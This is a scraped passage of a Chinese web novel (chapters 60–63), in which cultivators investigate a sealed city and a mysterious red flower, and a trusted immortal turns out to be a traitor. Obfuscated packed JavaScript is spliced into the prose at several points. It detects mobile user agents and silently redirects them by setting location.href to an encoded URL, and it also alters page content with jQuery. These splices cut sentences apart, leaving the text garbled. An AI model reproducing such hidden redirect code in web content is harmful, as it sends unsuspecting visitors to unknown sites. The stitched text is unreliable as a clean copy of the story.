l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196033|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适的料子。后来在六河镇的秘境里得了这块玉料,我想了想,还是觉得做成簪子更好看。” 常瀞一怔,笑眯眯接过来,小心地对着镜子固定好玉簪,来回转头左看看右看看,给了郁离一个大大的笑脸:“我很喜欢!” “喜欢就好。”郁离红着脸偏过头:“下次还给你做” 他们收拾妥当,和其他人汇合,准备去城里转转。出门时赶上党半山家开饭,盛情难却被拉上了桌。 饭桌上,党半山夫妇给他们说了几个城中相对好玩的地方,还有几家有特色的食肆。党悦闹着要给他们带路,党半山往她嘴里塞了口肉,让她少添乱。党喜仍是阴着脸,沉默吃饭,和家中热闹的氛围格格不入。 吃过饭,他们从党半山的小院走出去,随意选了个方向就开始瞎转。是的,为了不将真实目的表现的太过直白,只能假装在瞎转。毕竟对于金石城来说,他们五个生面孔,实在是太扎眼了,走到哪儿都有百姓好奇地盯着看。 就这样慢悠悠地转了足足三天,他们才堪堪把这座城了解了个大概。 金石城城墙轮廓方正,城墙与护城河据说是先祖早期为抵御外敌和山中猛兽而建,魔物侵袭后恰好与结界一道成为天然的屏障。城墙上开东西南北四个大门,现已废弃。城中南北东西两条大街保留,大街的交叉中心修祭坛。除南北东西两条街道上有商铺,其余土地全做民居和田地用。民居房前屋后会留小片田地,城西北角还有更大片的田地,分区划片,供城中人轮流使用。 雪化的已经差不多,但城里仍旧很冷。他们在街上随便找了家茶肆进去,这种冷天,哪怕是捧着一杯热茶暖暖手,也是极好的。 店主自然也认得他们,十分热情地送上一壶茶,夸了一通仙人,说是照理他们金石城这么寒冷的地方,应当是种不了茶的,多亏了仙人给土地施了秘术,才能种活。 重寒酥暗道,这不会是天尊早前莫名其妙来问过他的术法吧。 店主还问他们这几天在党家住得习不习惯。 郁离道谢:“挺习惯的。” 店主自来熟地坐下,悄声道:“党家的女儿没犯病?” 常瀞不解:“您是说党喜?感觉她就是伤了腿,有点不爱说话。” 店主左右看看,凑近道:“什么呀!老党是这么跟你说的?才不是呢,那姑娘有点神神叨叨的,不然光是因为腿不好,老党何至于新盖间房子给她招婿。” 褚游爱听八卦:“细说。” 店主先是用了个八卦常见开头:“我也听人说的啊。那姑娘小时候好好的,特活泼伶俐。十六吧,应当是十六岁那年,恰好轮到老党家在城西北种地,那姑娘可勤快,太阳都落山了,还去地里转,结果这一走迟迟不见回家。老党两口子去地里找,那姑娘失魂落魄坐在地里,人一碰就尖叫,她妹妹上去拉她,还被她推倒,要知道她从前可最疼这个妹妹。” “后来她就开始神神叨叨,半夜不睡觉去地里转悠,还偷偷摸摸企图跑出城!不过她当然没成功,就这样折腾小半年才老实,变成现在这幅样子,不爱出门,不爱说话,成日阴个脸。” 60. 金石(六) 说了一大段八卦的店主明显是口渴了,冉愉默默推给他一杯茶:“那后来知道是怎么回事儿了吗?” “谁知道,可能真是中邪了吧。”店主一口气灌完,撂下杯子:“那姑娘也挺可怜的,遇上这怪事,腿瘸了,麻烦你们多担待点儿。” 八卦聊完,恰好此时来了客人,店主豪爽地说这茶他请了,然后就急忙离席去招呼新客。 窗外天色已然黑透,他们也歇够了,便告别店主回到党家。党半山夫妇围着炭火盆正在烤火,见他们回来,让他们快来坐。 “两个孩子睡了吗?”常瀞笑着扬了扬手中提的糕点:“答应给党悦带的,今晚不给她,明天怕是要跟我们闹了。” 党半山努嘴,朝屋里一指:“这孩子真是够闹腾的。你说你们给她买什么东西呀,下次可别买了!” 郁离立在常瀞身旁:“那不行,本来住在您家已经够打扰了,这点东西不算什么。” 说完,他拉着常瀞先去找党悦。敲开党悦的门,屋里黑黢黢的,借着门外的光,他们直直对上一张枯黄的大脸。 郁离&常瀞:“……” 党悦移开挡在脸前的一片巨大枯叶,不是很开心:“你们为什么是这个表情。” 她从床上跳下来,点上灯,又把枯叶盖在脸上原地转了几圈。那片枯叶上套了两个洞,恰好露出她两只乌溜溜的眼睛。这样的冷天,树上叶子全掉光了,也不知道她上哪捡的。 常瀞蹲下身,假意被吓到,捂住胸口:“啊呀!” “少骗我,你演得真差。”党悦撇嘴。 常瀞被哽住,这小姑娘怎么养的,鬼精鬼灵,真是难搞。 郁离想起茶肆店主说得她姐姐精神不太好,弯下腰,故作生气:“以后不可以这样吓人,大晚上的,万一吓到家里人怎么办。” 党悦歪头,有些茫然:“不会啊,我专门戴给你看的。” “啊?” “像不像!像不像你脸上戴的面具!” “呃……像。” “那下次仙人哥哥来,他会注意到我吗?” “……” 郁离回忆起他之前随口搪塞小姑娘的话,也哽住了。他记得他当时说,他和褚游之所以戴面具是为了专心修炼,只有好好修炼,才能飞升,见到好多好多仙人,然后他又指了指坐在院子里晒太阳的常瀞和重寒酥,说他俩已经飞升,所以才不用戴面具。 本以为这么说,能感化孩子,没想到被她理解成这样。不是,金石城里这些小孩对天尊的崇敬向往之情真得强到离谱,天尊您知道您在这儿有这么多信徒吗? 有关面具的话题告一段落,他们这才想起来找党悦的目的。党悦住的这间屋子不小,他们往屋内走了几步,把带回来的糕点放在桌子上,一回身,看见在墙角落处照不到光的地方,摆了一盆花,旁边还堆了几个填着土的空花盆。 那花是赤红色的,长在一根细弱的茎上,花瓣似莲瓣,却更细长,一瓣瓣拥着其间探出的嫩红色的蕊。郁离不知要如何形容这枝花的绝艳,它就像是一团熊熊燃烧的火,星火四溅。 党悦看他们的眼神都移到花盆那,不自在地跨出一步似乎是想要挡住那盆花,而后又放弃,退回原地。 郁离朝那盆花的方向走了几步:“这花真漂亮。” 党悦听他夸花漂亮,心情肉眼可见的忽然变好:“那是自然。” 常瀞也凑过去,饶有兴趣地打量那枝花:“我从来没见过这种花,是你们这儿特有的?” “不是,阿爹阿娘也没见过。不过天气暖和的时候,这几个花盆都在院子里放着,阿爹说大概是鸟雀飞过时恰好把种子拉到了花盆里。”党悦抱起花盆,骄傲地给他们展示。 郁离轻轻触碰了下红色的花瓣:“它叫什么?” 党悦动了动唇,像是不好意思,扭捏地吐出一个名字:“赤莲雨。” 郁离:“是个奇怪的名字,不会是你自己起的吧。” 党悦扭捏:“嘻嘻你猜。” 不知不觉在党悦这儿已经呆了挺久,怕耽误孩子的睡觉时间,他们起身告辞。 临走时,常瀞还问党悦要走了赤莲雨的种子,他注意到郁离挺喜欢这花,好几回都抓住郁离的眼神在往花盆瞄。就是没想到党悦这孩子磨磨唧唧,连颗小小的花种还不大愿意给他,假模假样翻了半天才给了他两颗。常瀞收好花种,打算先拿给重寒酥,让他试试能不能把花种出来。 离开党悦的房间,他们来到隔了几步远的一个小杂物间。是的,党喜一个人住在里面。据党半山说,她摔了腿后,就再不愿意和人接触,硬是从之前和妹妹一起住的房间里搬出来。 郁离敲了敲门,里面安安静静,没有声音。他抬手又敲了敲,这次力道加大了些。 里面传来一个暗哑的声音:“谁。” 常瀞抚上郁离的肩:“是我们,今日上街的时候给你们姐妹俩带了些点心。” 党喜依旧没开门,冷硬地拒绝:“不用。” 无奈,常瀞只能道:“那我们放在你门前的小凳子上了。” 次日清晨,用过早饭。 重寒酥顶着对熊猫眼,坚持要继续留在党家研究花种。他昨夜收到花种,便对赤莲雨颇感兴趣,在灯下拿着种子折腾到很晚。而“颇感兴趣”,在他今早见过赤莲雨的真容后,一跃转为了“深感兴趣”。 面对党悦告知此花很难种活的直白提醒,重寒酥燃起了熊熊战意。 笑话!虽然他最为擅长的是种地,但是粮食蔬果和花草树木的栽种方法一通百通,这世上就没有他种不出来的东西! 重寒酥此番决定留在党家,褚游自然也要求留下。 常瀞想着目前在金石城确实没发现什么异常,找线索也是盲目瞎转,便随他俩去了。他带着郁离走出党家大门,茫然四顾,最终按照郁离的意思,打算去金石城西北方向的田里看看。 冉愉没同他们一道,出大门就选了另一个方向。走过一个路口,他一个转身,暗搓搓隐在墙后窥视那两人黏黏糊糊的背影。 果然,不跟过去讨嫌是最正确的选择。 路上的雪化得一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228717|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干二净,总算不像前几日那样冷了。郁离走在常瀞身边,落后几步,盯着常瀞发间的白玉簪。看来常瀞是真挺喜欢他送的簪子,连着几日都戴的这个,明明之前每日都换不重样的呢。 郁离暗下决心,等回鸡鸣巷就搜罗搜罗其他好料子,比不上这块玉料也无所谓,他手艺好,能补救。到时多雕几支,让常瀞换着戴,或许玉佩、带钩什么的,也可以做做。想到这里,他忽然步伐一乱,回忆起了大概已经堆积如山的订单,以及鸡鸣巷的账册,翘起的嘴角又耷拉下去。 在他一旁的常瀞完全不知郁离这一番跌宕起伏的心路历程,只在心里念着,今夜可否再大胆点儿,向郁离讨些别的便宜。 心思各异的两人在路上走着,完全没注意到迎面而来的两张熟面孔。 “可算找到你们了。”姬润拦住准备绕过他的常瀞,“想什么呢,笑那么诡异。” “啊?你来了也不说一声。”常瀞回过神来,望向立在不远处笑眯眯的谢榕,“谢大哥怎么也来了。” 姬润回答他:“天尊改主意了,昨日又找过我,答应让我们进金石城。道君便是受天尊之命,前来助我们的。我们赶到城外发现你们不在,料想你们或许已经进来了,便没再多余联系。” 谢榕走过来,先是好奇地瞧了一眼郁离,才对常瀞道:“天尊忙时,素来是将金石城托付给我照看。他此番不便离开上清境,便派我来了。” 常瀞:“那太好了,我们还一直在想该如何出去呢。既然谢大哥来了,就不怕了。” 天尊既然派谢榕来了,那自然是没打算再瞒他们。在去田里的路上,谢榕将金石城封印的原委一一道来。 原来当年天尊湛昀在肃清金石城魔物的扫尾过程中发现,那年魔物的异常强大是源于一种催化物,催化物能将普通魔尸强化至具有魔尸王的威力。天尊从一个受魔物操控的人脑中强行提取记忆,在那人的记忆碎片中,那催化物其实是妖,可化人形,但具体是何物未知。 记忆碎片还显示,魔物撤走的太仓促,再加上那妖行为捉摸不定,并不可控,眼下被留在了城内,没来得及带走。天尊读到这里,当即决定设下封印,彻底隔开城内外进出的通道,不能让这妖物逃出去,继续同魔物为祸世间。据闻那妖本身不具有任何伤人的能力,怕金石城内百姓恐慌,便没有告知百姓真相。 常瀞:“所以他把金石城关着,一关就是五百年?” 谢榕讪讪道:“这实属无奈之举,五百年间,天尊和我亲自来找过很多趟,可这妖太过狡猾,无论是天尊从明面找,亦或是我化形成各色鸟雀悄悄观察,都不曾发现任何蛛丝马迹。” 郁离:“那为何此前不明说。” 谢榕:“天尊本打算过些日子来城里继续找,若放了你们一大帮生面孔进城,怕是风吹草动,惊了那妖,又要无功而返。” 常瀞:“那为何又同意了。” 谢榕摸摸鼻子:“许是又觉得光靠我们找了五百年都没结果,让其他人来试试也未尝不可?” 郁离&常瀞:“……” 61. 金石(七) 又领了两个人回到党半山的小院后,本就不宽敞的小院彻底转不开身。 看见党半山脸上明显为难的神色,谢榕连忙表示他有地方住。 既然上清境在五百年间会时不时来金石城,自然会在这里留有住所。上清境在此置办的房子不小,独栋小院,足以承得下所有人。有了地方住,他们自然不好意思继续叨扰党家,都准备跟着谢榕走。 党家最不想让他们搬走的人是党悦,仗着自己个子小,抱住郁离的大腿就是不松开,就差嚎啕大哭了。 常瀞脸刷一下变黑,扇子一敲,走过去俯下身按住党悦的头晃了晃,装作和善地跟她讲道理:“抱别人大腿是不礼貌的行为,小孩子也不可以。去,一边玩去。” 党悦顶着常瀞的死亡视线,打了个寒战。 郁离实在看不过去,不懂他跟一个小孩子较什么劲。他瞪了常瀞一眼,弯腰对党悦道:“我们的新住处离你们家也不算远,没事还可以来找我们玩。” 重寒酥摸摸党悦的头,附和道:“是啊是啊,我对这赤莲雨还没什么头绪,有什么问题还得来找你。” 一通折腾,总算是从党家搬出去了。走到小院门口时,党半山还追上来硬塞给他们几个土豆,让他们常来坐坐。 郁离推辞不得,只好接过,恰好发现在党半山身后,党喜就站在屋内的阴影里,透过窗户盯着他们。阳光正好,影影绰绰打在窗户上,他看不清党喜脸上的表情。 新搬的小院在靠着城墙的西北角,打扫得很干净。哪怕房间充足,常瀞还是和郁离挤了一间房。谢榕脸上挂着笑,瞄了常瀞一眼。许是谢榕气场太像长辈,常瀞难得有些不好意思。 重寒酥表示对新住进去的小院非常满意,因为这里和金石城大片的田地很近。有了这等便利,他不再终日闷在屋里研究那两颗赤莲雨的种子,在褚游的劝说下,会时不时去田里转转,和当地百姓交流交流种地心得。 他纠结几日,认为实践为上,小心翼翼选出一颗花种,种在褚游跑了好几条街为他买来的花盆里。 时间过得飞快,转眼间又是半月过去,他们每日在金石城走街串巷和百姓套近乎,就连重寒酥种下的赤莲雨都在党悦难以置信的目光中冒出一棵颤颤巍巍的嫩芽,还是没有发现金石城中的半点可疑之处。 金石城的夜晚无事可做,再加上太阳落山后,风会变得更加刺骨,于是城里的大多数人会选择早早歇下。来这儿的时间长了,他们也跟着养成了早睡早起的好习惯。 常瀞气呼呼躺在床上辗转反侧,等郁离从党家回来。党家那个小女儿真是个粘人精,成日不好好学习,往他们这儿跑,今天更是把他的郁离强行拉走,去党家教她雕刻。真是,那么小的孩子学点什么不好,非得跟郁离学雕刻,还弄到这么晚不回来! 桌上摆着的大盏油灯晃眼,反正他躺在床上也不需要太亮,干脆将那灯熄了,只留了床头一盏小灯,亮着昏黄的光。 常瀞瞪着屋顶,一点儿也不困。 半晌,房门发出一声轻响,常瀞迅速闭上眼睛。眼睛闭上后,其余的感官便变得成倍敏感,他听见郁离轻手轻脚来到床边,带来一阵室外的凉气,凉气中还混着竹林间特有的清香。 这清凉的香气好熟悉…… 他忽然想起在战场重伤那年,唤他醒来的那阵凉意…… 常瀞睁开眼睛,郁离正在摘面具。他支起身子,一把将郁离揽上床,压在身下。 郁离额头上还有一点面具压出的红痕,他揉了揉那道红痕:“你干嘛,我还以为你睡着了。” “想起点从前的事儿。”常瀞埋在郁离颈间深吸了一口,抬起头盯着郁离的眼睛,“你是不是来找过我。” 郁离微不可查地僵了一瞬,很快又冷静下来:“什么叫来找过你。” 常瀞一动不动:“就我重伤的时候。” 郁离推开他胸膛,起身欲下床:“你睡迷糊了,那会儿碧影山的封印还在,我想找你也出不去。” 常瀞也没说信不信,放他下去,跪在床上注视着他的背影。 沐浴完又换寝衣,郁离借着晾头发,故意磨蹭了好一会儿才爬上床。刚一上床,他又被卷进常瀞怀里。郁离提起精神等了一会儿,见常瀞没再继续纠缠从前的事情,这才放下心来。 他窝在常瀞怀里,听着他的心跳:“没睡着?” 常瀞闷闷的声音从头顶上传来:“不困。” “不困的话,那我跟你说件事儿。” “你说。” 郁离挪了下身子,换了个舒服的姿势:“咱们在金石城呆了不短的时间,什么都没有发生,咱们这么多人天天耗在这儿也不是办法。再说我和褚大哥离开鸡鸣巷太久了,光靠施姐姐一个人撑着,她太辛苦,这不合适。” 常瀞一个激灵,更清醒了:“你要走?你不管我了!” “不是。”郁离话没说完,就感觉腰上揽着的手紧了几分,“你听我说,我们打算回巷子里看看,走之前在金石城外设个临时传送阵,把巷子里的事情处理一下就回来。” 常瀞揽住郁离,把他的身子往上提了几分,头埋进他肩窝里,不说话。 “很快的。”郁离抚上常瀞的头,摸了摸,“最多七日,我保证会回来找你。” 常瀞在他肩窝里蹭了蹭,抱得更紧:“保证都是用来打破的,我从前还答应会解开碧影山的封印带你出来,结果也食言了。” 郁离安抚道:“可是你的保证也让我看到了你的真实心意,再说,咱们现在在一起就够了。” “不够,才不够!我们浪费了那么多年,这才在一起几天,你就要跟我分开!”常瀞一口叼住郁离脖颈的软肉,在齿间磨了磨,“你是不是不喜欢我了,你都是骗我的,找到机会就要跑。” 这一口咬得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283073|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻,郁离疼得吸了一口气,却生不出来什么气。他知道这都是拜自己先前的种种逃避行为所赐,才让常瀞这样患得患失。他只好耐下心哄人,说破嘴皮,和常瀞在床上滚了半天,身上留下好几个牙印,才算哄好。 常瀞眨眼:“那说好了,等这些事都了了,咱们先一起回碧影山看看,勉强带上那只胖老鼠,然后把他一只鼠丢在那,一起逛遍大江南北。” 这愿望郁离可不敢瞎保证,谨慎道:“短暂玩一阵,不耽误鸡鸣巷的事就可以,我毕竟是巷主,不好擅离太久。” 眼见着常瀞又不高兴起来,郁离赶忙凑上去在他脸上亲了几下,这才熄火。 次日午后,郁离和褚游收拾妥当准备离开金石城,因为不久还要回来,也没有专门和大家道别。 褚游伸了个懒腰:“我感觉咱们回去以后,会迎接一个满腹怨气的施娘。” 郁离回想了一下施姐姐生气时的样子,赞同地点点头。 “不过我早有准备!”褚游眉飞色舞,掏出一瓶酒,“看,这是我从浦黎城买的,据说是当地最好的酒。把这个送给她,保证她能消气。” “……我觉得这气消不了太多。” “能消一点是一点嘛。”褚游哈哈大笑,“你基本不和我们一起喝酒,所以不知道,我就没见过这么贪杯的狐狸。这酒她跟我提过,说是早年游历的时候在西域喝过,念念不忘,不然我也不会专门给她带这个。” 褚游和施娘就是以酒结缘。施娘接手鸡鸣巷后,巷子的规模越来越大,她力不能及,坚决不愿意一个人干几个人的活,便闹去酆都,酆都只好让她再找帮手。 巷子里鬼一多,什么脾气的妖魔鬼怪都有,她不擅武,首先决定找个打手,能在有鬼闹事时起镇压作用。想到当巷主的特殊代价,施娘只愿意在鸡鸣巷内物色人选。 褚游就是在这时送上门来的,他那时刚战死不久,因为武力高强,被酆都看中收为鬼差。两人在酆都的酒馆拼桌,喝了痛痛快快的一场。得知施娘在物色打手,他果断请缨。 施娘面上还浮着酒意上涌的红晕,手没捏稳酒杯,酒液洒出大半,她探手去试褚游的额头,可鬼的体温无论如何都是冰凉的:“你喝多啦,鬼差干得好,下辈子能投个好胎,不比随时会没命的巷主好多了。” “你才喝多了,万箭穿心,我早就死透了。”褚游夺过她的酒杯,不让她再喝:“当鬼差被绑在这酆都里,哪也去不得,鸡鸣巷的巷主不是自由多了,而且官儿还更大。” 施娘:“你认真的吗?” 褚游:“太认真了。酆都骗我做鬼差时,可没告诉我还有去鸡鸣巷这种选择。其实今天没遇见你,我过几日也打算去鸡鸣巷了。我还有无论如何都想再见一面的人,所以请你答应我。” “即使灵魂永远被禁锢在鸡鸣巷,成为这里的养料也无所谓?” “对,无所谓。” 62. 金石(八) 褚游推开院门,冲里面还在黏糊的常瀞和郁离翻了个白眼:“走了。” 郁离飞快抱了一下常瀞,朝褚游走去。 “等!等下!别走!”重寒酥抱着花盆跌跌撞撞向他们跑来。 方才还急着走的褚游果断把院门合上,原路折回,殷勤道:“别跑太快,小心摔到。” 郁离当即回敬他一个白眼。 重寒酥将花盆重重放在地上,缓了口气才道:“都先别走,这花有问题!” 三人一头雾水,一起看向这盆花,花盆里一株细瘦的苗上结了个暗红色的花苞。 这花不是好好的吗,连花苞都结出来,眼见没几日就能开花了。郁离决定要先离开几日的时候,还有些遗憾,怕这一走,见不到花开。 这段时间重寒酥在党悦的挑衅下,满心满眼都是种花之法。种出赤莲雨的执念在花种长出幼苗,却迟迟没有更进一步的变化后,达到了顶峰。他丧心病狂地搬出一种邪门歪道才会研究的催长术,在花盆下画了个奇形怪状的阵法,每个时辰向其中注入一次灵力。 为此,他甚至牺牲了自己的睡眠时间,和褚游换班,双双把眼睛熬得通红。郁离和冉愉实在看不过去,也加入了他们。 或许是催长术起了效,又或许是他们的诚意感动了赤莲雨,那幼苗竟真的向上蹿了一截,长出了花苞。 重寒酥终于扬眉吐气,党悦却傻眼了。她跪在花盆前,目光呆滞,无论如何都不肯相信真叫他种出来了。 冉愉听见院子里的动静,停止打坐走出来:“这花怎么了,不是长得挺好。” 重寒酥面色凝重,用鞋尖把花盆踢远了一点,掏出一张画展示给他们:“沙十七得知我精于种植一道,曾同我探讨过回春堂丹药里不明源头的一味药材。她循着记忆画出过那味药的样子,不过由于她,呃画技欠佳,且画得是药材晒干后的样子,我没认出是什么。就在刚刚,我整理种植心得时,偶然翻出了她画的画,才察觉到那画中药材竟是有五分像赤莲雨。” 郁离瞄了一眼那张画,第一反应是觉得这画画得,和常瀞的水平有一拼,不过还是得承认略胜常瀞一筹。他仔细回忆党悦屋里那盆花的模样,再看看这画,认为是重寒酥想多了,画上这干花,哪有重寒酥说的五分像,比赤莲雨的美丽差远了。 对重寒酥从来都是说一不二的褚游在正事上从来都很认真,瞪着眼睛干看了半天,弱弱地提出自己的看法:“是不是不对呀,除了它们都是红色,我没看出来什么相似之处。” “你们不养花,可能看的角度与我不同,这花瓣花蕊的形状几乎完全一致。”重寒酥坚持己见,抛出最后一个重要证据,“沙十七和我说过,那干花的花瓣若脱离本体置于阳光下会顷刻化为飞灰。” 只见他张开手掌,掌心中有一片红色的花瓣,那花瓣还没被人看清,在暴露在阳光下的瞬间凋零成灰。灰烬被恰好吹来的风卷走,不留痕迹。 重寒酥:“这是党悦那盆赤莲雨掉的花瓣,我随手收集起来的。” “!” 褚游惊道:“那党悦?!” 他话音刚落,一道禁锢阵拔地而起,恰好覆盖他们住的小院。 谢榕拧着眉从屋檐下的阴影里走出来,叹了口气,无奈道:“我不想这样的,明明湛昀拦了你们一次,可你们非要进这金石城,来了就算了,偏又发现这花的秘密,这下可留不得你们了。” 形势陡然变化,常瀞难以置信,盯着谢榕,明明他看着他们的眼神还是和从前一样,此刻却显得无比陌生。 重寒酥面色煞白,上清境若论人缘,第一便要数谢榕,他也曾受到过谢榕的很多照顾,无论如何都不敢相信谢榕会和魔族的东西扯上关系。 姬润穿得很厚,手揣在衣袖里,一边走一边咳嗽:“这是怎么了。” “站住!别往前走了!”常瀞回神,发现姬润马上就要走近谢榕,焦急大喊。 姬润下意识停下脚步,僵在距离谢榕三步远的位置。谢榕随意扫了一眼他,又转回头来。 郁离听说过上清境这位仙君的名号,知晓他的修为仅此于天尊之下,可环顾己方六人,实力同样不俗,他心下稍定:“所以仙君方才那番话的意思是,您同魔物早有勾结?” 谢榕像是听见什么脏东西,露出嫌弃的表情:“别把我和它们相提并论,它们比阴沟里的臭虫还令人恶心。” “那……” 谢榕微笑着对他们道:“我是为了上清境,为了这个世界,原谅我不能和你们说太多,请你们理解理解我,安心上路吧。” “做梦!”常瀞拔出剑来,努力说服自己,眼前这人不是从前和蔼可敬的前辈,而是和魔物勾结的内鬼。 其他人也纷纷摆出迎战的架势。 谢榕看起来很伤心:“你们怎么就不相信我呢,我不想动手的。” 褚游和他可不熟,没什么心理负担,他只知道,和魔物染上关系的都不是什么好东西。他一马当先拔刀砍去,冲到一半却忽然停下,愣愣地盯着手中的刀:“怎么会,灵力没有了……” 郁离连忙闭眼感知,就如同褚游说的,他们附近的灵气都诡异的消失了,似乎就是以那个普普通通的禁锢阵为界,阵外的灵气也调动不进来。灵气没了,他用不出灵力,一身傀术相当于无力施展。 “哈哈这可不是一般的禁锢阵,都想起来了吗,我的成名技——隔灵阵。”谢榕晃了晃手里特制的水晶杯子,拧开杯盖喝了一口还带着热气的枸杞茶,“所以,你们虽然人多,但是没了灵力,就和普通人一样,可以不用我动手,乖乖自裁了吧。” 郁离靠向常瀞,问道:“隔灵阵也隔他吗?” 常瀞嘴角抽动一下:“当然不隔啊,不然他一对六还能那么淡定。” 郁离:“……” 形势陷入僵局,没有人再敢轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292488|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举妄动。 谢榕的枸杞茶都喝了快半杯,依然没有人乖乖按他说的做。他等得不耐烦,也怕耽误的时间长了再生变故,摸出一柄短刀抛给身后一直没说话的姬润,淡淡道:“去,杀了他们。” 常瀞猛然看向姬润,握着剑的手第一次开始颤抖:“什么意思……” 那是他从小到大一起闯祸一起玩闹的兄弟,从大昭相识又一同飞升到上清境,早已视作亲人的挚友。 姬润手从袖子里抽出来,慌忙接住短刀,他匆匆垂下头,避开了常瀞的目光。 谢榕像是找到了乐趣,笑道:“兄弟反目成仇,太有意思了。小瀞我告诉你他有多狠,今日这局还是姬润提议的呢。没想到吧,在你眼中如此信任的好兄弟,其实背地里做过很多根本见不得人的恶心事儿——” “够了!”姬润吼道,但头依然埋得很低。 “呦,还生气了,这些年你一向低眉顺眼的,我差点儿都忘了你生气是何模样。”谢榕饶有兴趣地正眼打量姬润,一张笑脸却瞬间阴了下去,“你怎么敢这样对我说话。” 姬润声音立刻低下去:“对,对不起仙君,至少能不能别告诉他这些。” 谢榕深深地看了他一眼:“那好吧,这次放过你,否则我真想再看看兄弟反目的戏码。快点动手吧,别耽误时间了。” “姬润你!”常瀞心乱如麻,喊完又不知道该接续说什么。 “快点吧,还不动,是不敢吗?那行,我再帮你一把。”谢榕转回去,手一挥,五个小型禁锢阵升起,牢牢限制住他们的全部动作。 常瀞目眦欲裂,眼睁睁看着姬润在谢榕的再三催促下迈出一步,然后将短刃送进了—— 谢榕的后心! 握着短刃的人极为坚决,动作不复之前的拖泥带水,带着恨意一下刺到底穿胸而过,刀柄挨上皮肤,又狠狠转了一圈。 他听着谢榕的惨叫,抬起头,溅满血的脸上露出释然的浅淡笑意,拔出刀,在同样的位置又给了他一下。短刃正中心脏,谢榕捂着不断流出血的刀口缓缓倒下,眼见是活不成了。他颤颤巍巍掏出一瓶丹药,还没等他启开瓶塞,被姬润一脚蹬掉,药瓶在地上滚出很远。 谢榕这下真慌了,一张口喷出一道血,还想去够药瓶,却被姬润直接踩碎。他死死瞪着姬润:“你疯了!快带我回上清境!我死了你也活不成!” “不是你自己说的吗,我特别狠。况且我早就该死了,还会怕你的威胁。这一天我等了太久,终于有机会诱你主动走进这座对你来说无比安全的笼子,彻底放下心来,可你还是忘了,能杀人的,不止有灵力,还有利刃。在隔灵阵里你携带的所有防御法器全部无效,我才能得手。”姬润手持短刃在他眼前比了比,一刀剜出他的眼睛。 谢榕一声惨叫,委顿在地,看上去就剩一口气了。姬润想到这人的奸滑,还是谨慎地将他翻过来,探了探他的鼻息,才放下心。 63. 碧影(一) 禁锢阵内其余的人早已被这反转惊得目瞪口呆,全都警惕地看着姬润。 姬润回过头,脸上似笑非笑的表情没有人能看得明白,他张了张口似乎刚想说些什么,然后嗓子里就爆发出一串剧烈的咳嗽声。他把刀扔在地上,弯下腰捂着嘴咳嗽,脸涨得通红。他咳嗽完才道:“隔灵阵因为谢榕的灵力断供已经失效,我先把你们的禁锢阵解了……” 他双手撑在膝盖上,缓了缓,才向前迈了一步,便忽然扑倒在地,后背的衣服瞬间染红。 与此同时,郁离感觉到周身的禁锢消失,他轻轻喘了口气,然后就看见在姬润背后撑起上半截身子,笑得一脸阴毒的谢榕。 常瀞还没想好该怎样面对姬润,他就被诈死的谢榕暗算。常瀞的腿先思想一步动起来,快步跑到姬润身旁,检查他的伤势。 伤势比想象中严重,况且姬润一向体弱,这样的伤于他绝对是凶多吉少。 常瀞制止了还想说话的姬润,板着脸准备先带他回上清境,不管姬润所犯之罪多重,至少要活着接受上清境的审判。 “哈哈哈怎么,咳咳,小瀞你还想保他?”谢榕用尽最后力气,已经无力支撑,重新扑倒在地上,只是他的头还以一个诡异的角度扬起来,带着从前他眼中永远不会消失的笑意,阴森森道:“你不知道吧,你身边这位找了那么多年的小巷主就是他害死的啊——” 话音未落,谢榕头重重磕在地上,终于是死透了。 常瀞眨了两下眼睛,像是还在解读谢榕话里的意思,而面色却白了下来。他先是扭头去找郁离,眼里带着化不去的惶恐。 骤然听谢榕提起他一直对常瀞隐瞒的死亡原因,郁离惊慌失措。他的死和姬润有关系吗?在和常瀞重逢之前,姬润这号人物从来都只是常瀞口中出现过的好友,他从未和此人打过交道。想到这里,郁离准备摇头否认,可头刚偏了一分,他忽然想起当年闯入碧影山的那伙人曾对他说。 “别用那种眼神儿看我们,要怪就怪你识人不清,有人把这满山宝贝的消息透出去了。” 无论是从前,亦或是现在,他都相信泄露秘密的人不会是常瀞。现如今按照谢榕的说辞,那人大概就是姬润了。 郁离不敢确认,还是道:“我不清楚。” “什么不清楚!”鼠爷不知何时醒过来,气得呲溜一下跑到郁离肩上跳脚,“我说呢!那么多年都没事!怎么忽然来了一大帮人!肯定就是他!” 